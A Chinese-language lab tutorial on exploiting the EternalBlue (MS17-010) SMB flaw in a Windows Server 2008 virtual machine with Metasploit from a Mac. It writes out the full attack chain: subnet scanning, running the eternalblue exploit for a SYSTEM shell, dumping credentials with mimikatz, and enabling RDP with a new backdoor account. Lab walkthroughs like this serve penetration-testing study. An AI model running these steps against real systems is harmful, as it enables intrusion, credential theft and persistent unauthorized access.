永恒之蓝实战教程之Mac通过Metasploit攻击Server2008的详细过程
导读
准备一个Server2008，通过
Metasploit获取system访问权限，进入meterpreter交互界面。
通过shell命令，连通目标机器的cmd，查看目标系统信息。
然后通过mimikatz查看系统用户。
最后通过run enable_rdp开启控制机远程桌面并创建用户。

基础知识
永恒之蓝
SMB（Server Message Block）又称网络文件共享系统（Common Internet File System，缩写为CIFS），一种应用层网络传输协议，主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通讯等资源。它也提供经认证的行程间通信机能。
永恒之蓝”（Eternalblue）漏洞编号MS17-010 泄露自
美国国家安全局(NSA)黑客工具包
该漏洞利用工具针对tcp 445端口(Server Message Block/SMB)的文件分享协议进行攻击，可以获取系统最高权限system
漏洞影响：Windows NT，Windows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8，Windows 2008、Windows 2008 R2、Windows Server 2012 SP0等
Metasploit
常用命令
show exploits – 查看所有可用的渗透攻击程序代码
show auxiliary – 查看所有可用的辅助攻击工具
show options – 查看该模块所有可用选项
show payloads – 查看该模块适用的所有载荷代码
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块
info – 显示某模块的详细信息
use – 进入使用某渗透攻击模块
back – 回退
set/unset – 设置/禁用模块中的某个参数
setg/unsetg – 设置/禁用适用于所有模块的全局参数
save – 将当前设置值保存下来，以便下次启动MSF终端时仍可使用meterpreter
meterpreter 是一个高级的，动态的，可拓展的Payload，出现meterpreter 我们就有了shell，可以执行非常多的命令，去操控远端设备。
执行命令：？或者help，显示出可以执行的全部命令。
我们会用到upload、run等命令。

准备工作
虚拟机安装Server2008
系统下载地址：https://msdn.itellyou.cn/
安装：略~~~
Mac上安装Metasploit
下载安装：
【可忽略】官网地址：https://www.metasploit.com/download
【可忽略】通过官网，只能访问到GitHub的wiki页面，wiki页面又让跳转到官网的帮助文档页面：https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html
帮助页面中，我们可以看到支持各种平台，其中Mac平台是通过https://osx.metasploit.com/metasploitframework-latest.pkg下载，直接安装即可。
初始化、运行：
# 切换到工作目录
cd /opt/metasploit-framework/bin/
# 一定要这么做，否则连接的数据库一定有问题。
./msfdb init
# 运行Metasploit开控台（运行一次会将路径设置到环境变量中，以后就可以直接访问该目录中所有命令了）
./msfconsole
Mac上安装远程桌面客户端Microsoft Remote Desktop
通过App Store是无法搜索到Microsoft Remote Desktop的；通过https://apps.apple.com/tw/app/microsoft-remote-desktop/id1295203466页面跳转到App Store，会提示地区尚不提供此App。
这里，我们通过该地址直接下载https://mac.softpedia.com/get/Utilities/Microsoft-Remote-Desktop-Connection.shtml，下载的文件名为Microsoft_Remote_Desktop_10.7.9_installer.pkg，双击即可安装。
下面两个下载地址需要登录，有点麻烦
玩转苹果下载：https://www.ifunmac.com/?s=Microsoft+Remote+Desktop+for+Mac&x=0&y=0未来Mac下载: https://mac.orsoon.com/search/Microsoft%20Remote%20Desktop%20for%20Ma_mac_1.html
通过Metasploit，获取靶机shell 搜索17-010相关漏洞插件
msf6 > search 17-010
使用scanner辅助验证插件扫描漏洞
# 选中插件
use auxiliary/scanner/smb/smb_ms17_010
# 设置目录机器，单个ip验证（虚拟机中的Server2008）
set RHOSTS 192.168.1.216
# 开始执行漏洞扫描
run效果如下：
ps:show options是显示这个插件相关的参数，在Required这一栏下面是yes的表示必填参数。
ps:
参数RHOSTS和THREADS:
# RHOSTS这个参数可以设置一个目标网段，进行扫描测试
set RHOSTS 192.168.29.1/24
# 设置扫描线程，插件默认是1，这里设置为20：
set THREADS 20exploit获取shell
使用exploit模块来进行攻击测试
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.1
set THREADS 10
run效果如下：
执行命令shell即可进入cmd命令行:
ps:
在windows命令行输入 chcp 65001 解决中文乱码
利用mimikatz模块，爆破靶机账号密码
# 加载mimikatz
load mimikatz
# 读取内存中存放的账号密码
creds_wdigest
效果如下：
利用meterpreter模块，开启控制机远程桌面并创建用户
开启rdp
# 1，启动远程桌面（通过爆破出来的密码登录）
meterpreter > run post/windows/manage/enable_rdp
# 2，创建一个新用户来远程连接 windows 桌面
meterpreter > run post/windows/manage/enable_rdp username=root password=root@toor.com通过Microsoft Remote Desktop远程连接Server2008
ps:
kali连接windows桌面rdesktop 192.168.1.216
